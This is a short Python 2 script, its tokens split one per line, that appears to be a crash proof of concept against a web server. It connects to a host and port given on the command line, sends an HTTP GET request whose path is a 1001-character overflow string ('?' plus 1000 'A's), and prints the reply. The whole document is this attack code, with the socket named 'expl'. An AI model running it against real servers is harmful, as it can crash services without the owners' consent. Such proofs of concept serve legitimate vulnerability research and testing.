import
socket
import
os
import
sys
import
struct
HOST
=
sys.argv[
1
]
PORT
=
int
(sys.argv[
2
])
crash
=
'?'
*
1
+
'A'
*
1000
payload
=
'GET '
+
crash
+
' HTTP/1.1\r\n'
payload
+
=
'Host: '
+
HOST
+
':'
+
str
(PORT)
+
'\r\n\r\n'
expl
=
socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect((HOST,PORT))
expl.send(payload)
data
=
expl.recv(
1024
)
print
data
expl.close()